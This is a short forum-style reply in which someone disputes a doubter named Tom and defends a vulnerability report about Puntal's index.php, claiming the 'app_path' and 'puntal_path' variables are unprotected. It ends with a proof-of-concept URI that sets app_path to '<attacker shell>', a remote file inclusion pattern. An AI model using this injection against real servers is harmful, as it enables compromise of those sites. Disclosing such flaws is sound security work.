sorry Tom , in which line which confirms that the variable "app_path" and "puntal_path" is defined with functions to protect and handle inclusion or accessing to or from index.php file ? please check again or Read the full script code in index.php file , and then please seen or check The example URI / P0C for this issue. For verified or proofed this Vulnerabilities , I just Install Puntal , and this exploits is working. http://localhost//path/index.php?app_path= <attacker shell>